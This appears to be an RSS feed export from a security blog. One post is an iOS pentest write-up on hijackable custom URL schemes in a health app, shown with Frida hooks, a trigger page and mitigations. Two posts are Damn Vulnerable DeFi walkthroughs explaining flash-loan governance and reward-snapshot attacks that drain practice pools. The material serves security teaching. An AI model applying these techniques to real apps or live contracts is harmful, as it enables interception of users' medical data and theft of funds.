<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[All Things Security]]></title><description><![CDATA[A Security Blog exploring the vulnerabilities and exploits in web and mobile apps, networks, cloud, and smart contracts.]]></description><link>https://blog.dixitaditya.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1643891263008/Tsf1R_L8N.png</url><title>All Things Security</title><link>https://blog.dixitaditya.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 21 Apr 2026 01:14:10 GMT</lastBuildDate><atom:link href="https://blog.dixitaditya.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Hijacking iOS Deep Links in a Health App Using Custom URL Schemes]]></title><description><![CDATA[Overview
During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal ]]></description><link>https://blog.dixitaditya.com/hijacking-ios-deep-links-in-a-health-app-using-custom-url-schemes</link><guid isPermaLink="true">https://blog.dixitaditya.com/hijacking-ios-deep-links-in-a-health-app-using-custom-url-schemes</guid><category><![CDATA[Security]]></category><category><![CDATA[iOS]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[automation]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Thu, 09 Apr 2026 08:16:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/61fb7af343e34d11816986a7/27a38b03-e2ea-4d52-af38-3d964dc08901.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Overview</h2>
<p>During a recent pentest of an iOS health application (let's call it <code>MedVault</code>), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal Links implementation in place. This meant that the deep links were completely hijackable. Any malicious app installed on the same device could register the same scheme and intercept links before MedVault ever saw them.</p>
<p>In this article, I'll walk through how I identified and validated this vulnerability using Frida, the PoC I built, the dev team's fix, and why their fix only addressed half the problem.</p>
<h2>Custom URL Schemes vs Universal Links</h2>
<p>Before diving in, let's quickly understand the difference between the two.</p>
<p><strong>Custom URL Schemes</strong> (e.g., <code>medvault://</code>) are the older way of doing deep linking on iOS. Any app can register any scheme. There's no ownership verification. If two apps on the same device register the same scheme, iOS uses a first-come-first-served approach to decide who gets the link. There's no guarantee your app will be the one that receives it.</p>
<p><strong>Universal Links</strong> (e.g., <code>https://medvault.com/dashboard</code>) are Apple's secure alternative. They work by hosting an <code>apple-app-site-association</code> (AASA) file on your domain, which cryptographically binds the domain to your app's bundle ID. No other app can claim your links. Period.</p>
<p>The problem? MedVault was using custom URL schemes exclusively and had zero Universal Link support.</p>
<h2>Identifying the Vulnerability</h2>
<p>While analyzing the app, I noticed it had two custom URL schemes registered:</p>
<ul>
<li><p><code>medvault://</code></p>
</li>
<li><p><code>com.novahealth.medvault://</code></p>
</li>
</ul>
<p>To confirm the absence of Universal Links, I used Frida to check for <code>com.apple.developer.associated-domains</code> in the app's entitlements. It wasn't there. The app was relying entirely on these hijackable custom schemes for all its deep linking.</p>
<p>What made this worse was that these schemes could navigate directly into sensitive areas of the app: the dashboard, symptom reporting pages with clinical record IDs, ER report generation, and recording controls. Sensitive parameters like <code>existingSymptomRecordId</code> were being passed through the URL without any source validation.</p>
<h2>The Frida PoC</h2>
<p>To validate the vulnerability, I wrote a Frida script (<code>frida-url-hijack.js</code>) that hooks into the iOS deep linking internals to monitor exactly what happens when a custom URL is triggered. The script places 5 hooks across the entire URL handling chain. Let me walk through the important ones.</p>
<h3>Hooking UIApplication openURL</h3>
<p>The first hook catches every URL that the system routes to the app. This is the top-level entry point:</p>
<pre><code class="language-javascript">Interceptor.attach(
    ObjC.classes.UIApplication['- openURL:options:completionHandler:'].implementation, {
    onEnter: function(args) {
        var url = ObjC.Object(args[2]).absoluteString().toString();
        console.log('[&gt;] openURL called: ' + url);
    }
});
</code></pre>
<h3>Hooking the Expo/RN SceneDelegate and AppDelegate</h3>
<p>On modern iOS (13+), URL opens go through <code>scene:openURLContexts:</code> on the SceneDelegate. For React Native / Expo apps, we need to hook both <code>EXAppDelegateWrapper</code> and <code>RCTAppDelegate</code> to cover warm launches and the older AppDelegate path:</p>
<pre><code class="language-javascript">var sceneClasses = ['EXAppDelegateWrapper', 'RCTRootViewFactory'];
sceneClasses.forEach(function(name) {
    try {
        var cls = ObjC.classes[name];
        if (cls &amp;&amp; cls['- scene:openURLContexts:']) {
            Interceptor.attach(cls['- scene:openURLContexts:'].implementation, {
                onEnter: function(args) {
                    var contexts = ObjC.Object(args[3]);
                    var enumerator = contexts.objectEnumerator();
                    var ctx;
                    while ((ctx = enumerator.nextObject()) !== null) {
                        var url = ctx.URL().absoluteString().toString();
                        logURL('scene:openURLContexts: [' + name + ']', url);
                    }
                }
            });
        }
    } catch (e) {}
});
</code></pre>
<h3>Hooking RCTLinkingManager</h3>
<p>This is the critical one for React Native apps. <code>RCTLinkingManager</code> is the bridge that passes URLs from native iOS into the JavaScript layer. Hooking <code>openURL:resolve:reject:</code> shows us every URL that crosses the native-to-JS bridge, and <code>getInitialURL:reject:</code> fires when the app checks what URL launched it (cold start):</p>
<pre><code class="language-javascript">var RCTLinking = ObjC.classes.RCTLinkingManager;
if (RCTLinking['- openURL:resolve:reject:']) {
    Interceptor.attach(RCTLinking['- openURL:resolve:reject:'].implementation, {
        onEnter: function(args) {
            console.log('[&gt;] RN Linking.openURL: ' + ObjC.Object(args[2]).toString());
        }
    });
}
</code></pre>
<h3>Hooking NSNotificationCenter</h3>
<p>The last hook catches internal notifications, specifically <code>RCTOpenURLNotification</code>. When React Native broadcasts a URL notification, we intercept it here along with its <code>userInfo</code> dictionary containing the full URL:</p>
<pre><code class="language-javascript">Interceptor.attach(
    ObjC.classes.NSNotificationCenter['- postNotificationName:object:userInfo:'].implementation, {
    onEnter: function(args) {
        var name = ObjC.Object(args[2]).toString();
        if (name.indexOf('URL') !== -1 || name.indexOf('Link') !== -1) {
            console.log('[*] Notification: ' + name);
            var info = ObjC.Object(args[4]);
            if (!info.isKindOfClass_(ObjC.classes.NSNull)) {
                console.log('    userInfo: ' + info.toString());
            }
        }
    }
});
</code></pre>
<h3>Enumerating Schemes and Checking for Universal Links</h3>
<p>The script also reads <code>CFBundleURLTypes</code> from the app's <code>Info.plist</code> to enumerate all registered URL schemes, and checks <code>com.apple.developer.associated-domains</code> to determine if Universal Links are configured:</p>
<pre><code class="language-javascript">var bundle = ObjC.classes.NSBundle.mainBundle();
console.log('Bundle ID: ' + bundle.bundleIdentifier().toString());

var urlTypes = bundle.objectForInfoDictionaryKey_('CFBundleURLTypes');
if (urlTypes) {
    for (var i = 0; i &lt; urlTypes.count(); i++) {
        var schemes = urlTypes.objectAtIndex_(i).objectForKey_('CFBundleURLSchemes');
        if (schemes) {
            for (var j = 0; j &lt; schemes.count(); j++) {
                console.log('  -&gt; ' + schemes.objectAtIndex_(j).toString() + '://');
            }
        }
    }
}

var domains = bundle.objectForInfoDictionaryKey_('com.apple.developer.associated-domains');
if (!domains) {
    console.log('[!!] NO Universal Links - app uses only custom URL schemes (hijackable)');
}
</code></pre>
<p>Complete script can be found here - <a href="https://github.com/az0mb13/frida_setup/blob/master/frida-url-hijack.js">https://github.com/az0mb13/frida_setup/blob/master/frida-url-hijack.js</a></p>
<p>attached the script to the running process:</p>
<pre><code class="language-bash">frida -U -n "MedVault" -l frida-url-hijack.js
</code></pre>
<p>The Frida output confirmed the hooks were active and displayed all the registered schemes:</p>
<pre><code class="language-plaintext">[+] Hooked UIApplication openURL:options:completionHandler:
[+] Hooked scene:openURLContexts: on EXAppDelegateWrapper
[+] Hooked application:openURL:options: on EXAppDelegateWrapper
[+] Hooked RCTLinkingManager openURL:resolve:reject:
[+] Hooked RCTLinkingManager getInitialURL:
[+] Hooked NSNotificationCenter (URL filter)

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - HOOKS ACTIVE            ║
╚══════════════════════════════════════════════════╝

Bundle ID: com.novahealth.medvault
Registered URL schemes:
  -&gt; medvault://
  -&gt; com.novahealth.medvault://

[!!] NO Universal Links - app uses only custom URL schemes (hijackable)

Open Safari on device and type:
  medvault://prepped/dashboard
  medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

Waiting...
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/61fb7af343e34d11816986a7/ccd3b8cb-ce3a-480c-b42b-f8b6b3848ee1.png" alt="" style="display:block;margin:0 auto" />

<h2>Triggering the Deep Links</h2>
<p>I created a simple HTML page to trigger the deep links from Safari on the device:</p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
    &lt;title&gt;URL Scheme Hijack PoC&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h2&gt;URL Scheme Hijack PoC&lt;/h2&gt;
    &lt;p&gt;Tap any link below. If MedVault opens, the scheme is active and hijackable.&lt;/p&gt;

    &lt;a href="medvault://prepped/dashboard"&gt;
        medvault://prepped/dashboard
    &lt;/a&gt;
    &lt;a href="medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337"&gt;
        medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
    &lt;/a&gt;
    &lt;a href="medvault://prepped/er_reporting/generate_report"&gt;
        medvault://prepped/er_reporting/generate_report
    &lt;/a&gt;
    &lt;a href="com.novahealth.medvault://prepped/end_recording/upload_completed_page"&gt;
        com.novahealth.medvault://prepped/end_recording/upload_completed_page
    &lt;/a&gt;
    &lt;a href="medvault://prepped/end_recording/user_initiated"&gt;
        medvault://prepped/end_recording/user_initiated
    &lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/61fb7af343e34d11816986a7/3caf947c-748d-49f8-91fa-565469030efa.png" alt="" style="display:block;margin:0 auto" />

<p>Opening this page in Safari and tapping any link immediately opened MedVault and navigated to the corresponding screen. The Frida output showed the full URL flowing through every layer, from the native iOS SceneDelegate, through the Expo AppDelegate wrapper, and finally into the React Native JavaScript layer via <code>RCTOpenURLNotification</code>. All without any source validation:</p>
<pre><code class="language-plaintext">[&gt;] openURL called: medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (warm)      ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[scene:openURLContexts: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.431Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (app delegate) ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[application:openURL: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.433Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

[*] Notification: onURLReceived
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }
[*] Notification: RCTOpenURLNotification
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }
</code></pre>
<p>The output clearly shows the URL hitting five different hooks across the iOS and React Native stack. The <code>existingSymptomRecordId=1337</code> parameter is visible in plaintext at every layer. Notice how the URL passes from the native SceneDelegate straight into the RN bridge via <code>RCTOpenURLNotification</code>. There's no validation, no sanitization, no check on where the URL came from. Whatever you pass in the scheme, the app blindly consumes it.</p>
<p>In a real attack scenario, any installed app on the device could trigger these URLs programmatically to manipulate MedVault. No user interaction with a webpage required.</p>
<h2>Impact</h2>
<ul>
<li><p><strong>Account/Data Hijacking</strong>: A malicious app on the same device can register the same scheme, "win" the URL broadcast, and capture all the parameters silently.</p>
</li>
<li><p><strong>Information Leakage</strong>: Internal record IDs and routing paths are directly exposed through the URL parameters.</p>
</li>
<li><p><strong>Phishing &amp; Redirection</strong>: An attacker can craft links that force-navigate the user into specific app states or present fake login screens to harvest credentials.</p>
</li>
</ul>
<h2>The Dev's Fix (and Why It Was Incomplete)</h2>
<p>The dev team added a <code>+native-intent.tsx</code> file with <code>redirectSystemPath()</code> returning <code>/</code>. This makes Expo Router redirect every external URL open to the root route, killing all deep link navigation. Their reasoning: no flow actually uses these deep links, Expo just auto-registers the schemes, so redirect everything to root and call it a day.</p>
<p>This handles the inbound side. An attacker can no longer force-navigate users into sensitive screens. But the schemes are still registered, which means the interception side is wide open.</p>
<p>Since <code>medvault://</code> is a custom URL scheme (not a Universal Link), a malicious app can register the same scheme and intercept links before MedVault ever sees them. Imagine a user has both apps installed. Something triggers a <code>medvault://</code> link from a webpage or QR code, and iOS routes it to the malicious app instead. That app now has the full URL with all the parameters. The <code>redirectSystemPath()</code> fix is irrelevant here because MedVault never received the link in the first place.</p>
<p>If the schemes aren't needed, remove them. Setting <code>"scheme": []</code> in <code>app.json</code> / <code>app.config.js</code> suppresses Expo's auto-registration entirely. That actually closes the door rather than just redirecting what comes through it.</p>
<h2>Mitigations</h2>
<ul>
<li><p><strong>Remove unused URL schemes.</strong> If your app doesn't need custom URL schemes, don't register them. For Expo apps, set <code>"scheme": []</code> in your config to suppress auto-registration.</p>
</li>
<li><p><strong>Use Universal Links.</strong> If you need deep linking, use Apple's Universal Links with an <code>apple-app-site-association</code> file hosted on your domain. This cryptographically binds links to your app's bundle ID and prevents interception by other apps.</p>
</li>
<li><p><strong>Validate all deep link input.</strong> Never trust parameters received through URL schemes. Sanitize and validate everything before processing. Treat deep link parameters the same way you'd treat user input from an untrusted source, because that's exactly what they are.</p>
</li>
<li><p><strong>Don't pass sensitive data in URLs.</strong> Record IDs, session tokens, or any PII should never flow through deep link parameters. Use them for navigation intent only, and resolve sensitive data server-side after authentication.</p>
</li>
</ul>
<h2>Takeaways</h2>
<ul>
<li><p>Custom URL schemes on iOS are inherently insecure. They have no ownership verification and are trivially hijackable by any app on the same device.</p>
</li>
<li><p>Frida is incredibly powerful for validating deep linking behavior in real-time. Hooking <code>NSNotificationCenter</code> and <code>RCTLinkingManager</code> gives you complete visibility into how URLs flow through a React Native app.</p>
</li>
<li><p>Developer fixes that only address one direction of an attack can create a false sense of security. Always think about both the inbound side (what happens when your app receives a link) and the interception side (what happens when another app receives a link meant for yours).</p>
</li>
<li><p>If a feature exists only because your framework auto-registers it and no flow depends on it, the correct fix is to remove it, not to build guardrails around something that shouldn't exist in the first place.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Selfie - Damn Vulnerable DeFi #06]]></title><description><![CDATA[Objectives
There's a pool as always, and it offers flash loans of DVT tokens. There's also a governance mechanism that controls the pool.
The initial token supply is 2 million, and the pool has 1.5 million DVT. We have 0. Our goal is to drain the poo...]]></description><link>https://blog.dixitaditya.com/selfie-damn-vulnerable-defi-06</link><guid isPermaLink="true">https://blog.dixitaditya.com/selfie-damn-vulnerable-defi-06</guid><category><![CDATA[Security]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 29 Jan 2023 08:29:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674980966577/c2ec6332-bafe-4961-a8ad-2b992b16045b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>There's a pool as always, and it offers flash loans of DVT tokens. There's also a governance mechanism that controls the pool.</p>
<p>The initial token supply is 2 million, and the pool has 1.5 million DVT. We have 0. Our goal is to drain the pool. Let's get started.</p>
<h2 id="heading-smart-contract-analysis">Smart Contract Analysis</h2>
<p><strong>SelfiePool.sol</strong></p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="76c4ab4151d7c58458da3589515df9e5"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/76c4ab4151d7c58458da3589515df9e5" class="embed-card">https://gist.github.com/az0mb13/76c4ab4151d7c58458da3589515df9e5</a></div><p> </p>
<p>The DVT token being used is an <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Snapshot.sol">ERC20 Snapshot</a> token that can be used to take snapshots at a certain point in time to record the balances.</p>
<p>There are two important functions here:</p>
<ul>
<li><p><code>flashLoan()</code> is the same thing that we have seen in the last few contracts, users can take flash loans for free, it calls a <code>receiveTokens()</code> function in their contract to handle the tokens and repay them back to the pool.</p>
</li>
<li><p><code>drainAllFunds()</code> drains all the tokens from the pool which we need to do, but notice the <code>onlyGovernance</code> modifier, it only allows the Governance contract (<code>address(governance)</code>) to call the function. This gives us a hint that we somehow need to make the Governance contract call this function for us.</p>
</li>
</ul>
<hr />
<p><strong>SimpleGovernance.sol</strong></p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="a1ff0a4a0a9421dd7aca3d4dfef95563"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/a1ff0a4a0a9421dd7aca3d4dfef95563" class="embed-card">https://gist.github.com/az0mb13/a1ff0a4a0a9421dd7aca3d4dfef95563</a></div><p> </p>
<p>Let's now take a look at the Governance contract. There are two external functions that can be called by anyone:</p>
<ul>
<li><p><code>queueAction()</code> : This function is used to propose actions/changes to the contract if enough votes allow them to. to check enough votes, the function calls:</p>
<ul>
<li><code>_hasEnoughVotes()</code> : This function fetches the balance of the last snapshot assuming a snapshot is already taken, calculates the total token supply at the last snapshot, and compares both of them. It returns true if the caller's balance is greater than <code>total token supply / 2</code>. This means the caller must own at least <code>1 million + 1 token</code> to bypass this check. (Since the token's initial supply is 2 million)</li>
</ul>
</li>
<li><p>The data is stored in a struct and an <code>actionId</code> is returned.</p>
</li>
<li><p><code>executeAction()</code> : Once the action has been proposed and stored, this function is used to execute the action based on the <code>actionId</code> that was returned.</p>
<ul>
<li>It calls <code>_canBeExecuted()</code> which makes sure that the action has not already been executed, and that there's a sufficient delay after proposing the action. (2 days)</li>
</ul>
</li>
<li><p>Once all the validations pass, it makes a <code>functionCallWithValue()</code> with the bytes data that we stored in the action along with some Wei to the receiver's address which we also stored in the action.</p>
</li>
</ul>
<h2 id="heading-the-exploit">The Exploit</h2>
<p>The above analysis shows that if we can get our action to store and execute, we should be able to make the governance contract make an external call to the <code>SelfiePool</code> and make it drain the tokens for us. We can always take a flash loan from the pool to get enough tokens to pass the validation in <code>_hasEnoughVotes()</code>. Let's write the attacker's contract.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="ec8411ce67aedee58ccd5e46c72ab9d3"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/ec8411ce67aedee58ccd5e46c72ab9d3" class="embed-card">https://gist.github.com/az0mb13/ec8411ce67aedee58ccd5e46c72ab9d3</a></div><p> </p>
<p>After initializing all the addresses, we have defined 3 functions:</p>
<ul>
<li><p><code>attack()</code> : This is responsible for triggering the <code>flashLoan()</code> with at least 1 million + 1 token. We'll just take a loan for the complete amount in the pool, i.e., 1.5 million DVT.</p>
</li>
<li><p>The flow comes back to our other function, <code>receiveTokens()</code> where the attack starts:</p>
<ul>
<li><p><code>ITokenSnapshot(token).snapshot();</code> : We have to first take a snapshot because otherwise, the transaction will fail inside <code>_hasEnoughVotes()</code> since it needs an already created snapshot to fetch balances from.</p>
</li>
<li><p>We are calling <code>gov.queueAction</code> with the <code>receiver</code> as the pool's address, since it'll be making a function call to the pool to drain the tokens. The second parameter is the bytes encoded data: <code>abi.encodeWithSignature("drainAllFunds(address)", attacker)</code>. It contains the encoded function signature with the argument as the attacker's address since we need to get all the funds to our attacker from the pool.<br />  The <code>weiAmount</code> can be 0 since it's not needed by the <code>drainAllFunds()</code> function.<br />  The return value is stored in a storage parameter <code>actionId</code> because it'll be needed again to execute the action.</p>
</li>
<li><p>Once we are able to propose the action, we transfer the tokens back to the pool on Line 54 since we took a flash loan.</p>
</li>
</ul>
</li>
<li><p>After 2 days have passed, we can make a call to the <code>execute()</code> function to call <code>executeAction()</code> which executes the action, drains all the pool funds, and transfers them to the attacker's address.</p>
</li>
</ul>
<p>Here's how the test case looks:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="7ee5289da0c68e89b3bbeac335142c73"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/7ee5289da0c68e89b3bbeac335142c73" class="embed-card">https://gist.github.com/az0mb13/7ee5289da0c68e89b3bbeac335142c73</a></div><p> </p>
<p>We deploy the attacker's contract and call the <code>attack()</code> function to borrow <code>TOKENS_IN_POOL</code> (1.5 million) DVT tokens.</p>
<p>We then use <code>evm_increaseTime</code> to fast forward 2 days and then call the <code>execute()</code> function to finish the exploit.</p>
<p>Run the script using <code>yarn run selfie</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674931593463/d6953e73-7b0d-44c8-ab1b-c699e96d21a2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways"><strong>Key Takeaways</strong></h2>
<p>There are multiple issues with these contracts. The key ones are:</p>
<ul>
<li><p>Critical functions such as voting proposals should account for tokens coming through flash loans.</p>
</li>
<li><p>The function to create snapshots should be behind proper access controls.</p>
</li>
<li><p>Creating your own Governance requires a lot of thorough testing and diligence which is why it is recommended to use OpenZeppelin's <a target="_blank" href="https://docs.openzeppelin.com/contracts/4.x/api/governance">Governor</a>.</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/selfie/SelfieExploit.sol">https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/selfie/SelfieExploit.sol</a></div>
]]></content:encoded></item><item><title><![CDATA[The Rewarder - Damn Vulnerable DeFi #05]]></title><description><![CDATA[Objectives
There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. There are 4 other participants who have already deposited some tokens and claimed their rewards.
We need to claim the most rewards for o...]]></description><link>https://blog.dixitaditya.com/the-rewarder-damn-vulnerable-defi-05</link><guid isPermaLink="true">https://blog.dixitaditya.com/the-rewarder-damn-vulnerable-defi-05</guid><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[Security]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 29 Jan 2023 08:24:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674980718236/875b37ae-0dd7-41c4-9a50-303ebe87e5b7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives"><strong>Objectives</strong></h2>
<p><a target="_blank" href="https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/">There’s a pool</a> offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. There are 4 other participants who have already deposited some tokens and claimed their rewards.</p>
<p>We need to claim the most rewards for ourselves in the next round but we don't have any DVT tokens to deposit. There's also a lending pool offering free flash loans. Maybe we can use that to start our attack? Let's dive in.</p>
<h2 id="heading-smart-contract-analysis">Smart Contract Analysis</h2>
<p>Let's start with the smaller contracts first.</p>
<p><a target="_blank" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/RewardToken.sol"><strong>RewardToken.sol</strong></a>: This looks like just another ERC20 token contract with a <code>MINTER_ROLE</code>, a privileged role to mint new tokens and the <code>DEFAULT_ADMIN_ROLE</code>. Both of them are assigned to the deployer, i.e., <code>msg.sender</code>. No issues here.</p>
<p><a target="_blank" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/FlashLoanerPool.sol"><strong>FlashLoanerPool.sol</strong></a>: This is just a lending pool that defines DVT as <code>liquidityToken</code> and assigns it the right address in the constructor. It also has a <code>flashLoan()</code> function that we can call to take loans for DVT tokens that can be used in our further attack. We also need to define a function in our attacker's contract called <code>receiveFlashLoan()</code> that will handle tokens and repayment.</p>
<p><a target="_blank" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/AccountingToken.sol"><strong>AccountingToken.sol</strong></a>: This is another ERC20 token contract but it's a snapshot. This means that its balances can be stored for a certain period for accounting. There are various privileged roles that control the minting and burning functions. Transfers are prohibited and are reverted since they are not needed. The function to take a snapshot has a <code>SNAPSHOT_ROLE</code>.</p>
<p><a target="_blank" href="https://github.com/az0mb13/damn-vulnerable-defi/blob/master/contracts/the-rewarder/TheRewarderPool.sol"><strong>TheRewarderPool.sol</strong></a>: This is the main contract that we have to exploit. Let's take a look at the code in detail.</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="ec5d252b0798fb0c980f58069cbbbf51"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/ec5d252b0798fb0c980f58069cbbbf51" class="embed-card">https://gist.github.com/az0mb13/ec5d252b0798fb0c980f58069cbbbf51</a></div><p> </p>
<ul>
<li><p><code>REWARDS_ROUND_MIN_DURATION</code> shows that a round lasts for 5 days.</p>
</li>
<li><p><code>deposit()</code> : The deposit function is used to deposit DVT into the pool, the pool mints the same amount of accounting tokens (<code>rTKN</code>) to the caller, calls <code>distributeRewards()</code> , and then calls <code>transferFrom()</code> to transfer the DVT from the caller to the pool. The caller should have already approved the pool for the amount of tokens for the <code>transferFrom()</code> function to work.</p>
</li>
<li><p><code>distributeRewards()</code> : This function is checking if it's a new reward round by adding the time of the last reward round and the 5 days delay. If it is, then it's recording a new snapshot for the new round. Then based on the caller's Accounting Token balance and the total number of Accounting Tokens in circulation (deposits by other users) at the last snapshot ID, it mints the Reward Tokens for the caller. This shows that the total rewards can be affected if other users deposit into the contract before our attacker because then the reward amount will be divided.</p>
</li>
<li><p><code>withdraw()</code> : This function burns the Account Token and transfers the same amount of DVT tokens back to the caller.</p>
</li>
<li><p><code>_recordSnapshot()</code> : It is just recording a new snapshot and increasing the round number.</p>
</li>
<li><p><code>_hasRetrievedReward()</code> : This function is just to check if the user has already retrieved a reward or not for that round.</p>
</li>
<li><p><code>isNewRewardsRound()</code> : It returns true if the round is a new reward round based on the last snapshot time + 5 days.</p>
</li>
</ul>
<h2 id="heading-the-exploit">The Exploit</h2>
<p>The exploitation looks quite simple. Here's what we need to do to get the most rewards from the pool:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="1940d5db7a6fb77ebde23c5d956b8a05"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/1940d5db7a6fb77ebde23c5d956b8a05" class="embed-card">https://gist.github.com/az0mb13/1940d5db7a6fb77ebde23c5d956b8a05</a></div><p> </p>
<ul>
<li><p>Call the <code>flashLoanerPool.flashLoan()</code> to take a loan for the maximum DVT tokens in the pool.</p>
</li>
<li><p>The flow will be redirected to our function <code>receiveFlashLoan()</code> with the amount of tokens received from the loan.</p>
</li>
<li><p>We'll then approve the DVT for the <code>rewarderPool</code> so that they can be transferred.</p>
</li>
<li><p>We'll call <code>rewarderPool.deposit()</code> to deposit the DVT into the pool for which we'll get accounting tokens.</p>
</li>
<li><p><code>TheRewarderPool</code>'s <code>deposit()</code> function will call the <code>distributeRewards()</code> function. At this point, we must make sure that we are the only ones to deposit into the pool to claim the maximum reward.</p>
<ul>
<li><p>This means we need to make sure that it's a new round, i.e., at least 5 days have passed since the last round. We'll be using <code>evm_increaseTime</code> in our test case to achieve this.</p>
</li>
<li><p>There's no validation that checks for how long a user has deposited their DVT tokens which will allow us to deposit and withdraw almost immediately to claim the maximum rewards for that round.</p>
</li>
</ul>
</li>
<li><p>Once we get the rewards minted to our contract, we are transferring them to the attacker's address on Line 59.</p>
</li>
<li><p>We are calling the <code>withdraw()</code> on Line 60 to get back the DVT tokens by burning Accounting Tokens.</p>
</li>
<li><p>Then on Line 61, the loaned amount is sent back to the lending pool for the flash loan that we took to start the attack.</p>
</li>
</ul>
<p>Here's how the test case will look:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="15670c59a9593577ebd77d017eec65c9"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/az0mb13/15670c59a9593577ebd77d017eec65c9" class="embed-card">https://gist.github.com/az0mb13/15670c59a9593577ebd77d017eec65c9</a></div><p> </p>
<p>We are deploying our attacker contract, increasing the time by 5 days so a new round can start and immediately calling the <code>exploit()</code> to start the attack.</p>
<p>Run the script using <code>yarn run the-rewarder</code> and the test case will pass.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674980462270/363b3a88-d4c6-4ba4-a50c-7c6f895c32cc.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways"><strong>Key Takeaways</strong></h2>
<ul>
